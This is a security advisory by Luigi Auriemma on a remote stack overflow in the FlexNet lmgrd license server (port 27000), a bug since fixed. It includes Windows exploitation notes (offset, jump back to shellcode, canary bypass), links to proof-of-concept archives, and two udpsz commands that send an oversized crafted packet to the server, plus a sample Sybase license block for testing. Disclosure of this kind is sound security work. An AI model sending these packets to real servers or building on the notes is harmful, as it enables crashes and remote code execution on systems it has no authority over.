120 lines
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4 KiB
Text
120 lines
No EOL
4 KiB
Text
#######################################################################
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Luigi Auriemma
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Application: FlexNet License Server Manager
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http://www.flexerasoftware.com/products/flexnet-publisher.htm
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http://www.globes.com/support/fnp_utilities_download.htm
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Versions: <= 11.9.1 and others earlier (this version number was
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written when I found the advisory many months/years ago)
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Platforms: AIX, HP-UX, Linux, Mac OSX, Windows, SGI, Solaris
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Bug: stack overflow in lmgrd
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Exploitation: remote, versus server
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Date: found 26 Oct 2010
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fixed 26 Mar 2012
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advisory 13 May 2012
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Author: Luigi Auriemma
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e-mail: aluigi@autistici.org
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web: aluigi.org
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#######################################################################
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1) Introduction
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2) Bug
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3) The Code
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4) Fix
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#######################################################################
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===============
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1) Introduction
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===============
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"FlexNet Publisher software licensing makes it easy for software
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vendors and high-tech manufacturers to manage, secure, enhance, and
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grow market share through flexible pricing, packaging, licensing, and
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protection of their software and SaaS offerings."
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#######################################################################
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======
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2) Bug
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======
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lmgrd is a license server manager listening on port 27000 and usually
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running as system service in the products of various vendors like IBM,
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HP, Sybase, Citrix, VMWare, SolidWorks and so on, it's just the most
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diffused licenses manager.
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Exists also another version of the license server called lmadmin that
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includes a web interface and is NOT vulnerable but it's not diffused as
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lmgrd.
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The server is affected by a classical stack buffer-overflow in the
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function that copies the data received after the header in a buffer
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smaller than the needeed bytes.
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On Windows the code execution takes place after the exception in
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"REP MOVSD" bypassing the "stack canary" protection.
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For example on this platform [ESP+8] points exactly at the position
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0x3718 of our data so we can place a jmp back and executing the
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shellcode placed before this position.
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For running the software is needed a license file so for testing the
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things quickly create the folder c:\flexlm, put lmgrd.exe in it and
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then create the file license.dat containing the following data and then
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launch it (I suggest to use -z for launching it in foreground):
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SERVER this_host ANY
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VENDOR SYBASE
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# The Sybase Software Asset Management License Server will not start unless
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# one valid license is present. The following license is not used but will
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# allow the License Server to start in the absence of any other licenses.
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# Once you have generated served licenses for this License Server at SPDC
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# you should remove this license file.
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#
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INCREMENT SYSAM_LICENSE_SERVER SYBASE 2.0 permanent 1 ISSUER="Sybase, \
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Inc." ISSUED=14-feb-2007 NOTICE="License to allow the SySAM \
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License Server to start in the absence of any other licenses." \
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SN=12727 SIGN2="075C 3143 F443 BD70 9869 F180 9AF4 B011 3753 \
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A310 510F 6497 6A91 6F8E BD04 11B4 811C B57C 83EB 8F69 F191 \
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499C 2456 5033 B63C 3231 1D5D D269 B7E7 F77A"
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#######################################################################
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===========
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3) The Code
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===========
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http://aluigi.org/testz/udpsz.zip
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18112.zip
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udpsz -D -T -C "2f 24 189d 4000 0000 0000 00000000 00000000 0000" -b 0x61 SERVER 27000 0x4000
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or the max
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udpsz -D -T -C "2f b7 1179 ffff 0000 0000 00000000 00000000 0000" -b 0x61 SERVER 27000 0xffff
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note that the 8bit value at offset 1 and the 16bit one at offset 2 are
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checksums calculated respectively on the 20 bytes header and the rest
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of the data so they must be set correctly in case of modifications to
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the packet.
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#######################################################################
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======
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4) Fix
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======
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Fixed.
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####################################################################### |